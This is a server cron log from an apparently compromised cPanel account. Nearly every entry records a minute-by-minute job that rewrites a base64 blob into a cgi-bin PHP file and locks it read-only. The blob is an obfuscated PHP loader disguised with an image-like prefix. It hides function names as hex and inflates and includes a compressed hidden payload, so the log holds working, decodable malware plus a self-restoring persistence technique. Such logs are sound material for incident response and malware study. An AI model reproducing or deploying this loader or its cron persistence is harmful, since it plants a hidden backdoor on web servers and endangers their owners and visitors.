Nov 13 06:56:01 server CROND[17704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:57:01 server CROND[18560]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 06:57:01 server CROND[18561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:58:01 server CROND[19226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:59:01 server CROND[19791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:00:01 server CROND[20657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:00:01 server CROND[20659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 07:00:01 server CROND[20661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:00:01 server CROND[20660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:01:01 server CROND[21525]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 07:01:01 server CROND[21526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:01:01 server run-parts(/etc/cron.hourly)[21525]: starting 0anacron
Nov 13 07:01:01 server run-parts(/etc/cron.hourly)[21538]: finished 0anacron
Nov 13 07:02:01 server CROND[22295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:03:01 server CROND[23150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:04:01 server CROND[24110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:05:01 server CROND[24989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:05:01 server CROND[24991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:05:01 server CROND[24990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:05:01 server CROND[24992]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 07:06:01 server CROND[25947]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:07:01 server CROND[26807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:08:01 server CROND[27660]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
